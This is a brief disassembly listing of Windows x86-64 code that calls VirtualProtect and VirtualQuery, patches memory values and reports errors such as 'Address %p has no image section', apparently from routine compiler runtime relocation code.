call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x62a81ee0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.62a81da0
nop dword [rax]
xor edi, edi
jmp 0x62a81e67
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x62a81f09
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x62a81f09
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.62a81da0
mov rax, qword [0x62a885e8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.62a81da0
nop
nop dword [rax]